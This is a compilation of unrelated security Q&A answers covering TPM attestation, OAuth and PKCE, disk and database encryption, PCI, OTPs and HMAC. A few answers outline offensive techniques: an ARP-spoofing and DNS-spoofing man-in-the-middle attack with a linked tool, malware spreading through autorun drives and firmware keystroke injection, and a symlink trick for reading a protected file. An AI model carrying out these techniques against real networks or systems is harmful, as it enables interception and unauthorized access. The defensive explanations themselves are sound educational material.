The EK is not a signing key, and so it will never produce a signature. To bind an AK to an EK involves a process that is covered under two processes: MakeCredential and ActivateCredential. MakeCredential can be done by a TPM, but does not have to be. This requires an EK certificate for the TPM in question, and the "name" of the AK. After validating that the EK certificate is valid, you will use the name in a complex process to encrypt a challenge with the public EK. Then you send that data back to the TPM, have it perform ActivateCredential, and if everything is right, return the challenge to you for comparison. Only when you verify that the challenge returned matches the one sent inside the encrypted package can you trust that the key that signed the quote is a real AK, and that the quote is real.


3rd party API access: Is OAuth really required?

It all comes down to the old adage: "Good IT security is hard".

While none of the concerns are known by us here to be fatal (we can't know your whole business and client model), they do raise serious doubts or at least things to really think hard about, and are worth taking soberly.

Flip it round and look at your users' perspective. You are asking your users/customers to invest their time/money/resources in learning and leveraging your API (use-case: one supplier) vs. a standardised well-known API (use-case: many). If you cease activity their effort is wasted. If they want to reuse their own work they cannot as easily transfer or reapply it without additional and perhaps prohibitive work which they can avoid by not adopting that path at the start. There's a reason open standards are open - they may not suit everyone, but they have other advantages in the wider picture.
They will also be concerned how certain they are of this concept's long-term benefit to them as users. They may consider and evaluate the durability of your business, your approach, your commitment to this path, and their commitment to your commitment to this path, and they will at some level evaluate how certain they are that you and the product and their use of the product will all still be around in years to come (many aren't). What about interoperability? Perhaps it will be a concern whether their other suppliers care to include some lesser and proprietary API or a well-known one they can sell as a feature to other users of theirs, or whether data can be got out into other packages without having to write "shims" for each one. Will they want the maintenance burden or doubts this might raise?
Third, even if people might be keen for it, consider this too: what basis do you have for believing your approach would be more securely implemented than existing versions? That's not the same as "more securely designed". A home-made setup might be far better adapted and suited for your needs but are you confident you have the competence and skills to both design, and develop an implementation of that design, that will stand up to the real world of ITSec? Even if you think you can, would third parties whose trust you seek to use it, agree with you completely?
Fourth, consider that a framework that has its own developer focus, may respond more quickly and dependably to changes in the security world affecting it, or on the positive side, emerging new standards/developments. Do you have the resources in your business to commit to maintain a focus on keeping it up to date continually, once produced? (You might, you haven't described the business). Plan for a bigger resource drain than expected.

Your question wording is telling, and should be the final piece you need:

  I >>doubt if these are really required<< for our intended use. I think that the >>simpler implementation ... might do the job as well<<

In other words you seem unconvinced yourself that there is any real downside except that they may have extra features and competencies you don't need. But even so it might still be worth using the package even if you don't need all it has, because of its other many advantages of doing so. After all, few people use "most" features of any major software (the humble MS Word through to Apache web servers being quick examples) and yet the software is used, just not all features.

As a business, your aim is likely to be based on confidence (yours+clients), speed and cost/time efficiency. For most businesses considering a security need, a ready-made solution might routinely beat home-made proprietary hands down on all major fronts, even if it is more than they need today.


Why isn't PKCE encouraged for Single-Page Apps?

@catanman makes excellent points regarding the technical considerations around PKCE in SPAs, however just recently the IETF Oauth working group has published a best current practice document (December 28, 2018) stating:

  Note: although PKCE so far was recommended as a mechanism to
  protect    native apps, this advice applies to all kinds of OAuth
  clients,    including web applications.


How many iterations with no collision do I need before I can claim that my hash algorithm is "almost secure"?

Never. You can't claim your hash algorithm is secure. It needs to be carefully audited by talented cryptographers / mathematicians who know exactly what they're doing.

You can't expect to have enough computing power / money to bruteforce it long enough, especially if you're alone. It took Google more than a year and more than $1 million to find that famous SHA-1 collision. Do you think you have enough time / money?

Also, bruteforcing alone isn't the best way to crack a hash function. The function can have major flaws which could be very hard to find via bruteforce. That's why you need talented people to audit the algorithm.

Unless all that work has been done, you should really use standard hash functions which are considered secure nowadays.


What should one do when he/she wants to protect him/her home--computer--?

To protect against these threats, should we harden our home computer to protect against these threat?

That depends on the value of the information being processed on the system and who you intend to protect against. There are essentially two physical threats to your home systems:

Theft. Somebody opportunistically takes your computer system.
Surveillance, followed by possible theft. When I say surveillance, I mean that in very broad terms - anyone who is able to observe the entry of passphrases for private keys, disk decryption etc can potentially record that entry.

Disk Encryption?

In the case of disk encryption, it is a very good solution for the first case assuming the computer, when stolen, is powered down or the act of stealing it forces it to be powered down (a desktop fits this bill unless the attacker comes prepared with a UPS...).

However, disk encryption cannot protect you from surveillance-based threats. The fundamental assumption of cryptography is that the decryption process is being done in a secure environment; all an adversary needs to do is to see the input of the password in such a way they can record it. There are many techniques to do this (keyloggers, cameras) and a few techniques for avoiding it (multi factor authentication).

Disk encryption also stops protecting your system as soon as the disks are decrypted (power on). The keys are "in memory" and whilst they may not be readable (i.e. in a self encrypting drive where the OS can't reach - it's worth noting the BIOS can because the implementation of self-encrypting drives requires interrupting the boot process of the BIOS) there is absolutely no access control performed by usual whole disk encryption. You can still get a virus and see every file the OS lets you see.

One approach that is harder to break is the approach taken by Encrypted NTFS, namely that the FEK (File Encrypting Key) is encrypted by public keys, thereby implementing a level of access control. However, when you are logged in as the user holding the private key, the same problem occurs.

So in effect, disk encryption does nothing to mitigate the "internet-facing" vulnerability.

Should one use a journalling filesystem?

Yes, purely on the basis you'd have to go to quite a bit of effort to find a file system without journalling. You'd be looking for VFAT (FAT32) or ext2 or some other ancient setup.

Journalling also provides you with significant corruption-avoiding benefits that you want. There's no point in protecting your data only to have the applications you use it with clobber it.

Finally, if the encryption layer you're using can't handle journalling, find a new one. There's no reason that data should reach the disk unencrypted, whether it's in the journal area or actually on storage. That includes the journal meta-data.

Can one password protect all types of memory?

If you are so minded, yes. I'm assuming you mean password protected via encryption here. There's an implementation issue with this level of protection - namely, most crypto services hold keys in memory so that you don't have to re-enter the password every time you want to write to or read from, say, RAM. If you had to do that, you'd find your computer unusable. It would also greatly increase the chance of password observation and is therefore self-defeating.

Applications encrypting their own data, stack and heap variables is not a new idea and will make "scraping ram" harder. However, there are some fundamental problems with this as a defence, namely if another application can read your applications' ram, it has gained access to supervisor mode rings on your cpu (assuming x86/x86_64). If this has happened, it's game set and match to the attacker anyway, so I rarely see the point using encrypted ram. Unless of course you're still using DOS (in DOS, all programs can read the memory of other programs)?

To add icing to the cake on encrypted RAM, the fact is, to encrypt it, your application had to have it unencrypted anyway, also in RAM, which means you're only making it harder, not impossible.

What should I do?

Use whole disk encryption anyway. This protects your data against theft as in opportunistic thieving and means you can throw the hard disk away and it will be reasonably difficult to extract anything meaningful from it for some time.
Forget about encryption as the ultimate solution and focus on protecting the integrity of your operating system from other forms of attack which are far more likely to steal your data. For example:

Use appropriate security on the web - HTTPS, Javascript blockers, firewalls, antivirus (won't help you against the latest threats, but saying AV is useless is like saying because we can't yet prevent cancer you shouldn't have a TB vaccine - it filters out all the known and yet still circling threats) - the usual drill, basically.
Patch your system. Turn on Windows update, regularly run yum update or whatever update mechanism you have. When bugs of a security-compromising nature are fixed, make sure you have the patch.
Only install software you can reasonably trust.
Reduce things running with Administrator privileges and don't run as an Admin account yourself - i.e. reduce the attack surface.

To be honest, I think a discussion about ensuring secure password entry and physical access to your home computer is probably wandering into the realms of fantasy and is also probably disproportionate to the risk to your data. Most sensitive personal data people hold is also held elsewhere by their doctor, bank, utility company, social networking website etc and your ISP could easily log your internet activity. There is not much you can personally do about the security of that information and it is unlikely all such information is heavily protected, although the more sensitive material (bank account details, etc) usually is.


Why do we need IdP when directory services already authenticate and authorize users?

I think the main reason is that Directory Services that have been around for a while such as AD and LDAP were designed strictly as authentication stores for client applications to leverage. SSO was a later development that is application driven. This is why Microsoft developed ADFS to address the integration of SSO with their native AD services to enable third-party applications.


Uploading files through an HTTPS web application

Is it possible to establish a true SFTP connection over the already established and authenticated https link somehow?

Yes, if you rewrite the HTTPS implementation in the server and client, and write a custom SFTP client, and solve the problem of sharing a socket across different processes....

Why don't you just use HTTP (over SSL) to upload the file?


Why does sandboxie require admin privileges when it runs a software installer that requires it?

This is a generic answer, since I haven't looked at sandboxie in most of a decade.

There are many software functions that can't be meaningfully sandboxed. Either they are things which inherently require high privileges (like installing drivers or otherwise interacting with the kernel) or they lose their value if sandboxed (a virus scanner that can't read most of the file system is a pretty worthless thing). There are also things which could, in theory, be done by a lower-privilege account or sandbox, but only of the OS is configured with non-default values to allow this (such as installing a Windows Service).
Some such things can be "emulated", but often doing so amounts to creating a miniaturized OS installation that can't interact with the host system. This can be useful for some sandboxing - it's essentially what a VM is, and can also be used with container systems such as Docker - but again that only works for software that doesn't need to interact with the host system at all.
Sandboxed processes frequently, at installation, need to perform some privileged operations. These might be simple things, like changing a file association to open with the new program (that can be done on a per-user basis if the installer is not sandboxed, but if you want it machine-wide the installer must run as Admin, and in any case it can't be emulated). They also can be relatively complex, like creating a new Windows account and installing a Windows service that automatically runs under it when certain conditions are met; depending on what the service does / what permissions it has and what conditions it starts under, this might technically be possible to emulate but it would be very complicated to detect an installer trying to do this and fake support for it.

As for security problems, there certainly can be, if the installer is malicious (e.g. a Trojan) or simply sloppy (perhaps it changes the ACLs on some directory to make it easier for the app to operate, but now other non-admin users can overwrite important files). Most commonly, though, sandboxie and software like it is intended to contain the damage from an exploit, rather than to contain known-malicious software, and the behavior with installers reflects this. Installers typically run only once for a short time, do not typically consume untrusted input (a browser consumes web content from Internet servers; a browser installer does not), and are often fairly simple programs. In other words, they have minimal attack surface.
Consequently, it is very unlikely that an attacker would be able to compromise an installer while it runs, so - so long as you trust its author to not be malicious - there is no need to limit what it can do. Limiting it anyway would break a lot of installers for very little gain. While sandboxie and similar are absolutely intended to be capable of containing malicious code, it is a very reasonable assumption to trust a vulnerable program's installer to not be malicious (if the user chose to run it), while still not trusting (and thus sandboxing) the installed program.


Which of these alternatives would be better all depends on your threat model. If you do not know what this is, please research it, or get someone to help you on that. (Or start asking questions here about it!)

I say this because I do not understand why you are so worried about Google (potentially) accessing that sensitive data, while you just assume by setting up a server in some place with strict data privacy laws all will be fine. If Google is an identified threat (by your model), why are you sharing your (redacted) results via Google Sheets in the first place, and (try to) use some Google Apps script to achieve that? Can't you just use some other (local) tool to obfuscate or strip that sensitive data?

What also boggles my mind is, if this data is so sensitive to your organization, why are you allowed full access to it in the relative insecure manner of either downloading it to your own computer, or to some other server (somewhere else in the world, where you probably can not physically guard it)?

From your story it appears that UNHCR gives you access to that servers' data, so the chances are your organization have accepted some agreement with the UN on using and handling that data. Talk to your organizations' legal counsel and see what is possible and what not.


With -i you supply the private key to the server. The SSH daemon must be configured to accept public keys as an authentication method. When it is (and on most Linux distros this is the case for OpenSSH) then the server reads public keys from .ssh/authorized_keys. This file can contain multiple public keys from different users/hosts. Each public key occupies a single line in the file.

When your SSH client connects to the SSH daemon with a private key (default id_rsa in .ssh/), the private key is send after the ServerHello. The public key can verify the private key and from that point on the SSH connection is established.


Is PKCE really protecting public facing clients? Can't a rogue app steal the ClientID and Secret and make a AuthCode request of its own?

Taking you to be asking two questions, what does pkce guard against, and how is client_id being random offering any protection to you if people can just lift it out of your source code, this is my understanding:
why does pkce even exist:
the whole reason for pkce is due to the nature that mutliple smartphone apps can register themselves to be "handlers" of specific url patterns, (this is a vulnerability that only exists in smartphones, if you're making a single page app this is not really a vulnerability for you though I think the advice is to use PKCE if you aren't using a client secret regardless, also it's harmless to use PKCE regardless because it won't ruin anything if you use it and the server doesn't support it)
why bad on smartphone:
when the oauth2 service redirects the user back to your app, following your apps pre-registered redirection url, the browser on the smartphone is going to attempt to navigate to that url, at that point the operating system detects this (both android and ios work this way) and notices that it matches with a few apps already registered at installation time to handle such urls, and it could automatically pass it to the wrong app, which could then maliciously act to get an access token with that and start doing bad stuff in the name of the user.
why should client id be random if it can easily be lifted:
from the docs here:
https://www.oauth.com/oauth2-servers/client-registration/client-id-secret/

"If the client ID is guessable, it makes it slightly easier to craft
phishing attacks against arbitrary applications."

So my guess is being random basically just adds another level of effort for a malware author to put in in order to write something that would affect your app. (you won't be protected from a malware author that targets your app, but you would be protected from a malware author that is blanket targeting all apps say on an appstore...)
The other part to the question, whats to stop an attacker from stealing your clientId and making a request to the auth server masquerading as your app. This won't work because of the redirection URL's.

it is critical that the service doesn’t redirect the user to arbitrary locations
https://www.oauth.com/oauth2-servers/redirect-uris/

If a user visits the attackers app, and is redirected to the auth server to authenticate but the redirect made use of your apps clientId, then the auth server would redirect the user back to your app, not the attackers,
see the security considerations of the docs:
https://www.oauth.com/oauth2-servers/single-page-apps/#security-considerations

The only way the authorization code grant with no client secret can be secure is by using the “state” parameter and restricting the redirect URL to trusted clients.

What they mean by using the state parameter is that your app can make use of local persistent storage (like local storage for a webpage) to generate a random string that it would include in the state param of the redirect request, and if the auth server redirects the user back to your app/web app after the user authenticates, it will echo back the state param and your app should verify that the value in that matches a recently previously stored state random string in said local storage or similar to have a confidence that the user being redirected back to your app was the result of an auth flow that was indeed kicked off by your app and not an attackers app, (if the redirection has no state param or a state param that doesn't match anything in the apps local storage then at that point your app should know that it wasn't itself that initiated that auth flow, and so should not consider the user as having completed the flow properly (should not proceed to trade the auth code for a token)


How to test email spoofing with this php script?

There's nothing wrong with your code there. What you're getting is a code compile error, and your code is syntactically fine.

I'm running your code just dumping the variables rather than trying to send an email:

<?php
$to      = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: webmaster@example.com' . "\r\n";
var_dump($to, $subject, $message, $headers);
?>

Which outputs:

string(18) "nobody@example.com"
string(11) "the subject"
string(5) "hello"
string(29) "From: webmaster@example.com
"

I can make a similar error appear by removing one of the semicolons from the code as such:

<?php
$to      = 'nobody@example.com' //removed semicolon here
$subject = 'the subject';
$message = 'hello';
$headers = 'From: webmaster@example.com' . "\r\n";
var_dump($to, $subject, $message, $headers);
?>

Which outputs:

Parse error: syntax error, unexpected '$subject' (T_VARIABLE) in F:\test.php on line 3

Which even in itself is different from the "error in line 5" you're getting. My suggestion is that you're not running the code you think you are. Double check test.php and go from there.


Proof that client app is using the recipient's public encryption key

For a user to be able to trust the system, she must be able to verify that the plaintext is handled securely on the client, i.e. that any data shared with another user is encrypted with that user's public key before being sent to the server, that no information about the plaintext is somehow leaked, etc.  This depends on the user (or someone she trusts) being able to inspect the source code of the client, and to be sure that the inspected version of the source code actually corresponds to the client that is running.

Whether a single program or multiple programs by different authors are involved doesn't affect the security in any significant way (a collusion between multiple parties is quite possible).  However, if the source code cannot be inspected, or the plaintext is sent to the server, all bets are off.  Even if the author did not maliciously intend to make the program insecure, there may well be bugs that make the program insecure.

A standard "web application" involves a user's browser running Javascript code downloaded automatically from the server.  While Javascript can perform cryptographic operations directly on the client, thereby avoiding the need to send the plaintext to the server, inspecting the source code is problematic.  The user would need to first download the HTML and Javascript and save it locally, inspect the code, and then run the local version, which is fairly inconvenient.  If the user runs the code directly from the web server (presumably using HTTPS), she must trust not only the operator of the web server, but also the operators of the hundreds of CAs stored in her browser.


Passing an invalid CVV creates a successful transaction

It's not expected, but it's not impossible.

The minimum data required to perform a credit card transaction is the card number (Primary Account Number, or PAN).

The expiration date, the cardholder name, the CVV, the billing zip code can all be used to validate the PAN.  But they aren't required.

The merchant can choose to require and validate more or less information, and takes on more or less risk and fees as a result.  Clearly you went through a merchant who asked for the CVV but then either failed to submit it as part of the transaction, or submitted it and then ignored the advice to decline the transaction based on CVV mismatch.


Is SSL terminated at a load balancer PCI compliant?

According to section 4.1 of the PCI Data Security Standard any merchant handling credit card data should:

  "...use strong cryptography and security protocols such as SSL/TLS or
  IPSEC to safeguard sensitive cardholder data during transmission over
  open, public networks.”

This means that Front End SSL is allowed, as once the data reaches the LB, it is considered to have entered a secure private network.

Also, the PCI Approved Scanning Vendors Program Guide states that all servers behind a load balancer are exempt from internal scans if they share a similar configuration.


What were the specific security flaws with OAuth 1.0? How are they being addressed in 2.0?

The April 2009 "session fixation attack" is described here: http://oauth.net/advisories/2009-1/ and in more detail here: http://hueniverse.com/2009/04/explaining-the-oauth-session-fixation-attack/

Security means different things from different perspectives.  As I keep repeating on this site, it all depends on your threat model.  Application providers have a different threat model than users, which is different than the RIAA's.

There is a movement among some OAuth 2.0 users from crypto signatures to a "wrap" model: "bearer tokens wrapped with TLS" (like cookies).  The editor of the spec talks about his concerns with that for interoperable discovery scenarios: http://hueniverse.com/2010/09/oauth-2-0-without-signatures-is-bad-for-the-web/  In Draft 11 of the OAuth 2.0 spec the option for signatures is back in.  The bearer token spec is moved out to a companion spec, and there are also companion specs for signatures via SAML and Kerberos.  Perhaps there will be others (like the OAuth 1.0 scheme?)  See the decision and thinking at http://www.ietf.org/mail-archive/web/oauth/current/msg04573.html

See also another earlier comment: http://benlog.com/articles/2009/12/22/its-a-wrap/

Here is another discussion of how it can get messy dealing with the different security perspectives.

http://benlog.com/articles/2010/09/02/an-unwarranted-bashing-of-twitters-oauth/


So, it looks to me like this is a homework problem, although it could be job assignment; I'll try to answer in a way that meets both. First, some general thoughts on databases and stored data encryption. FWIW, I used to work for a large database vendor and advised the developer who built their column and table encryption feature.

Challenges

The challenge with encrypting stored data in a database is the diametrically opposed goals. With plain old stored data, you often want it indexed (for fast searches) be it for Primary Keys (data in column must be unique) or Foreign Keys (joins). With encrypted data, you don't care so much about the properties of the plain text data, however, you do care that crypt text doesn't accidentally reveal any information about the plaintext. Here, too, the crypt text can be unique, although the uniqueness property is actually working against you. More importantly, matches of crypt text (whether that crypt text is reversible encryption or irreversible hashes) is a non-requirement, that is, you don't want it to match ever.

See the diametrical opposition? Searchable vs. No Information Leakage. Searchable means there's an Index out there which means it's Sorted which means you have Information about the properties of the data. Sorting crypt text is useless, so you really want the Index to Sort on plaintext, but that then leaks Information! So, basically, what we are saying is, you're really quite up a creek with this one. In your example, you want the email address to be both unique (as in Primary Key, searchable in the database) and yet provide no information in the case of theft (encrypted in a secure manner).

All that said, we still want to solve the problem of stored data encryption, so what should we do?

There are two solutions: (1) native database encryption or (2) application level encryption.

In Native Database Encryption, the database itself runs the crypto, stores the data on disk as encrypted, maintains various keys in a wallet & IVs with the data, and provides access control for who can and cannot retrieve the data. It also encrypts indices when the data column is a Primary Key or the column has an Index on it. In some ways, this is nothing more than a glorified access control scheme. However, it meets the requirement that the data be stored (at rest) in an encrypted form. Of course, this means the crypto feature is built into the proprietary database or someone coded it into an Open Source database.

In Application Level Encryption, an app developer encrypts the data and then stores that in the database. I think Mike did an excellent job outlining some of the choices with this model. I'd reiterate that the biggest challenge here is how to handle encrypting data you also wish to be a Primary Key (unique to a column). Since the proper (i.e. secure) method of encrypting data is to generate a unique IV per plaintext, you'll have to scan and decrypt every crypt text email address before determining you have a unique email. That's not a very good situation from an operational perspective (very bad runtime behavior).

Options

Try to use an alternate unique identifier. Email addresses are bad for this, although they are seductive and everyone loves them. They're great for password reset, so leave them as part of the user profile, but instead assign the user a unique numeric ID. These are difficult to guess for an attacker. Often, the most public thing known about a person is their email. Using it as a username makes attacks on an account that much easier.
If email address must be the unique user ID and if encrypted email address is a check the box requirement, use a database that provides native column/table encryption as you can legitimately check the I-encrypted-it box. Oracle (the company I used to work for) has a database that does this. There might be others.
If email address must be the UID and you cannot specify a database that has native crypto (or this is a homework assignment), you'll have to resort to application level cryptography. I have a suggestion to solve the Primary Key problem.

Application Level Stored Data Encryption

Assumption: Some data which must be encrypted must also be unique in database column. Let's call that data "email address".

You're best bet is to properly encrypt the email address by adding a unique IV to each plaintext. This means you cannot make email address column an Index or a Primary Key. First, if you store the IV in a separate column from the crypt text, there's a very small chance that the crypt text will collide (be equal) even if the plaintext is not. It's very small, but I believe one should always code for correctness, so no Primary Key. Next, Index on crypt text is useless, anyway. If the IV is different per row, you cannot do any meaningful search or join on the column, so application level encrypted data columns should never be Indexed.

Depending upon the row count in your table (number of unique users/email addresses), doing anything with that data is going to be horrific. Every time you touch it, you'll have to decrypt on average 50% or possibly 100% of the data depending upon what you're doing. If the database has advanced features (like virtual tables, stored procedures that can build them and internal cryptographic APIs), you might be able to have the database do the heavy lifting for you. This, to be honest, is your best bet. Oracle has the DBMS_CRYPTO PL/SQL package (I wrote it), so, yes, again Oracle can help you solve this problem. No, I no longer work for the company, nor do I own any of its stock. Sorry, I don't mean this to be a sales pitch for Oracle.

Let's say you don't have access to these advanced database features, what to do next? All this comes down to the need to expose useful some information about the email address without allowing an attack on the user data. Here, your decision swings on how large your user population is.

If it's small, just encrypt everything with IVs and decrypt it all to match. The speed of operation won't be that expensive and the extra development work won't be worth it. If this is a homework assignment, that's your best bet.

If the user population is large enough that full table decrypt will be noticeable, then still encrypt everything with a unique IV, however, provide a second, indexed column in which you hash the email. Now, this hash is not your normal cryptographic hash. In fact, you don't want anything of the kind. You want a hash algorithm that has a fair amount of (but not too many) collisions. Collisions are your friend.

Here's a possible algorithm:

    E = Email Address
    Choose N s.t. 2^(N+3) <= NUM_USERS < 2^(N+4), N>=0)
    H(E) = (Sum each ASCII value of E)%(2^N)

Assuming a uniform distribution of email addresses, H(E) will produce 12 or so collisions for a large dataset on average. If you store H(E) in a second column and index it, you can quickly locate candidate email addresses that may match the plaintext email address while ignoring most of the other email addresses. You'll need to redo all of the hashes every once in a while when the population of users jumps above a level. You should also redo them when it drops below a level. You  should add hysteresis to this process so you don't flail around redoing the hash column if a user adds/deletes often.

There is Information Leakage with this design, you can guess email addresses and see if they match the Hash column. Other unencrypted data (like a State or Age field) might allow an attacker to triangulate on who the user really is. It's not perfect. However, if you've got 10^6 users, you're going to have to solve the problem some how which means leaking some information.

Also, this won't allow you to sort by email address (no alphabetic sort). It acts more like a true Hash Table from a Data Structures class.


Sorry to post a page of links, but you will find a ton of research at this link:

http://www.cyberwarzone.com/understanding-and-mitigating-ddos-attacks-tools


The idea behind an OTP is that it can only ever be used once, hence "One Time Pin". If you reuse the same OTP for a certain time period you are not using it only once. The single use is to ensure that a lost of compromised OTP becomes ineffective as soon as a new one is requested.

If your "OTP" that is valid for a certain time period (2 hours in your example) is compromised, the malicious user can use that for that same time period.

Imagine for a moment Alice wants to perform some action on your application that that requires her to enter an OTP - at the time she is working from a coffee shop over Malory's Rouge Access Point. As Alice receives her OTP and enters it, Malory intercepts it and figures out what she can do with it.

Now Malory has 2 hours of freedom to perform any function as Alice (assuming she has the necessary other information to impersonate Alice) using the OTP that is still valid AND even if Alice requests a new OTP, that same compromised OTP will be sent to her, persisting Malory's ability to impersonate Alice.

if it were a single use OTP, Malory would have no use for it from that point onward.


Compact, inexpensive device to secure unsecured communication with field devices

Any tiny, low-cost computers that run Linux and have 2 ethernet ports would let you do this. Use NGINX, HAProxy or similar on the computer to run a reverse proxy that terminates the HTTPS connection and passes onwards the unencrypted HTTP traffic. Remember that HTTPS is simply HTTP with TLS encryption added. The source server won't care.

If you cannot source a suitable low-cost computer (try looking for some of the Raspberry Pi clones, I'm sure one will have 2 ethernet ports), your alternative would be to put in a single computer at the network segment level - e.g. have the HTTPS terminating proxy running at the edge of the reasonably trusted local network. This is the same principle but simply reducing costs by aggregating traffic through a single PC - by building, floor or whatever security boundary makes sense for your customer. Better still use 2 PC's for resilience if the signs are important enough.

This is really the reverse of what you might do when running a large-scale internet web service. In that case, you may well terminate the HTTPS connections at the edge of your data centre using dedicated servers to reduce the load on your internal web servers. Same principle here but you are keeping the encrypted traffic as long as you can and decrypting at some convenient point close to the signs.

UPDATE: Regarding possible hardware, here are a few pointers.

You could use a Pi (or similar) with a USB Ethernet adapter as the second adapter.

You could review the OpenWRT compatibility database for suitable devices. OpenWRT is an open source router-specific version of Linux.

There are also some embedded linux devices with 2 ethernet ports built in.

Finally, depending on the topology of the buildings you need to support, it might be feasible to build a separate network just for the screens. This isn't as hard as it seems but the constraint may be the number of spare ports the buildings have. It is conceivable that all that is needed is some re-patching of the network. If your network staff are open to it, it might even be sufficient to logically set the screens to their own VLAN.

Sorry, I'm rambling now! What I'm trying to get across with this last point is that you might only need encryption between buildings and depending on the LAN hardware and configuration, you may be able to use a building's firewall to terminate the encryption (e.g. using a VPN - not even that if the WAN is a modern MPLS since that is already encrypted point-to-point). Then, once inside the building, you can either physically or logically segment the screen traffic.


I think you misunderstood how such an attack works. You would not alter the default DNS server on the router after ARP spoofing. You could carry out an attack as following:

Become man-in-the-middle with ARP spoofing (this allows you to capture DNS request packets; also don't forward the captured DNS requests, so you don't have to race against the actual DNS server).
Write a program that answers to every captured DNS request packet with a DNS response packet containing an IP address of your choice. (e.g. www.google.com pointing to 10.0.0.24, which is your malicious service). For DNS spoofing on Windows you can use https://github.com/Trackbool/DerpNSpoof.

Also have a look at this: https://medium.com/bugbountywriteup/how-i-pranked-my-friend-using-dns-spoofing-6a65ff01da1


Malware (internet connectivity) and defending against it

It depends which malware and what it was designed to do.

If the malware author wants so, the malware could either attack other computers on the network (not necessarily Internet, just two computers connected to a network for example to share files) and try some exploits on them, in hopes that one of them isn't patched on the target machine and thus that machine gets infected which in turn will attack others, and so on...

Another solution would be to silently leave "surprises" on storage drives connected to the infected machine, that is copies of itself with an autorun.inf to make it execute automatically (or with some social engineering like making the icon and file name mimick an installer or a video player so people execute it themselves) once the drive is connected to other machines.

Yet another solution would be to leave "surprises" in the firmware of connected devices, which often makes the devices appear as keyboards that will type in malicious commands (often to download the actual payload from a remote server) as soon as they're plugged into another machine.

Of course all of these techniques can be combined together.

About releasing counter-malware, it may work, but there are several issues :

even if this "malware" isn't as evil as the other malware out there, it still exploits your machine, installs on it and then tries to exploit other machines to replicate itself and so on... even if it's for a good cause, it still turns your computer into a zombie that will "attack" other machines and waste bandwidth/resources
malware authors develop them for money (often so they can rent parts of their botnet to other cybercriminals for DDoS, spamming, proxying, etc); what incentive does someone have for making the "counter-malware" you propose ?
I don't know if this is actually frequent with common malware found in the Windows world, but the evil malware can, in addition to being evil also patch the vulnerability itself so that neither "counter-malware" nor rival attackers can "steal" their newly compromised machine
the only reliable way to clean up a compromised machine is to reinstall it from scratch which your counter-malware can't do as it requires physical intervention on the machine

Finally, OS developers provide equivalents of this "counter-malware" in the form of updates.


Encrypting important context vs data sets associated with context

Generally speaking, encrypting only part of the data can potentially be a security risk, because (depending upon the situation) it may be difficult to be certain that the part you leave unencrypted is completely free of anything sensitive.  I am sure examples exist, but that doesn't mean they are necessarily the best practice to follow in every setting.

Why do you want an example where some of the data is left unencrypted?  If you tell us more about why you are seeking such an example and what problem you are trying to solve, maybe we can help you with the real problem you have.

P.S. You seem to believe that unencrypted data is "easier to transfer" than encrypted data.  I am puzzled by that belief.  Data is data.  It is just bits.  It doesn't matter whether it is encrypted or not; either way, you are just copying bits and bytes.  Doing a file transfer of an encrypted file is no harder than of an unencrypted file; it is exactly the same command (e.g., scp, or whatever).


Here's a whitepaper from logitech on the technology. They seem to believe it is secure, and apparently the two devices are paired at the factory.  The actual key never gets broadcast. It has a short range of about 33 feet.

It certainly isn't 100%, but if you're worried about the NSA... I doubt this is your biggest problem. A regular keyboard is most likely more secure, but even that isn't protected from TEMPEST attacks, and implanting a physical or even a software keylogger is a rather trivial task in either case.

Not to mention your phone... that probably has gps, bluetooth, microphone, video etc... I'm just sayin, your wireless keyboard probably isn't going to be your downfall.


I think that yes, it's still safe, depending on how the "hashing" works.

You're not really talking about a salt value, since it is unknown. The scenario you describe fits a MAC better IMO. MACs require the input data (your single character) and a secret (your unknown "salt") and are designed to be safe despite the plaintext input data being known (since they are usually used to authenticate messages, where both the MAC and the plaintext message is known).

To be secure against attack, you can't just use a plain hash, such as

value = sha256(character || secret)

This wouldn't be safe. But if you use a primitive such as HMAC, it should be:

mac = hmac_sha256(character, secret)

Your requirements, if I understood correctly, are that it should be impossible for someone without the secret to determine, given

mac1 = hmac_sha256('0', secret)
mac2 = hmac_sha256('1', secret)
...
mac62 = hmac_sha256('z', secret)

which mac goes with which input character, and what the secret is.

MAC's guarantee that with a given input, such as '0', and mac1, there is no better attack on secret than brute-force, even if the secret is reused many times. So your secret is safe.

The question that remains is whether you can determine which input character belongs to mac1, mac2 etc if you are not in possession of the secret.

I think that's equally impossible, but I can't see how to prove the equivalence of that with the message integrity guarantees MACs make, so even though I don't think I am, I might be wrong.

I have some reasons for my beliefs:

Ideally, for hash functions, if you change a single bit in the message, that should influence all bits of the hash value. If I understand the way hmacs are calculated correctly, then that also goes for the secret, e.g. the secret influences every single bit in the mac output. So if there was a way to determine which mac belonged to which input without the secret, I think that would mean hmac is leaking information about the secret, and there should therefore exist a better than brute-force method to attack the secret.

But really you should ask a cryptographer, so crypto.stackexchange.com might be a better place to get a good answer.


This is attackers scanning for CVE-2019-9978 social warfare RCE (remote code execution) vulnerability

https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-wordpress-social-warfare-plugin-cve-2019-9978/

It is trying to execute the benign test command of

echo "h1loo1"

The scanner/ attacker then tests to see whether they got the word "h1loo1" back in the response to know if the RCE succeeded or not.

As long as you don't have that plugin you're all good


Blanket blocking SMTP email services for security reasons at work

This is usually a damage limitation procedure, so that if a system within the network gets infected with spam-sending malware (which used to be really common, and is still a fairly common payload for botnets), it doesn't cause reputational damage to the business, or cause the legitimate business email to be classed as spam, due to coming from the same source as junk mail.

For businesses, this may also make it easier to ensure that all outgoing email goes through a known server, to add signatures or legal notices.


What if I develop my own hash algorithm to create strong passwords from easy ones?

Don't roll your own crypto.

It lulls you into a false sense of security, and may be detrimental if you publish it and other people start using it. A hashing algorithm's strength does not stem from the opacity of its design; on the contrary, it benefits from the thousand expert minds looking at it.

Your basic idea isn't without merit, though. But if you are going to use hashed words as passwords, you might as well go for a vetted hashing algorithm which is known to be difficult to reverse.

  Even if a cracker managed to understand the formulas in your hashing algorithm, there are no public rainbow tables for your algorithm

By the way, proper use of salts defeats this problem entirely for public algorithms!


How to exploit this piece of code? (format string in printf?)

As I understand, you control the input file /tmp/file and this piece of program is run with privileges to read a protected file. Your goal is to read the protected file.

I failed to see any issue in this code. The format string is not controlled by the input and the missing line feeds you saw was because the last char of every 20 bytes is being replaced with a \0 (which stops printf from reading beyond the buffer).

However, as @MikeOunsworth suggested, all you have to do is to make /tmp/file a symlink to the protected file and you'll get the contents (with every 20th byte replaced, of course).


Is safe to save files on HDD with bad sectors?

As usual, the answer is it depends.

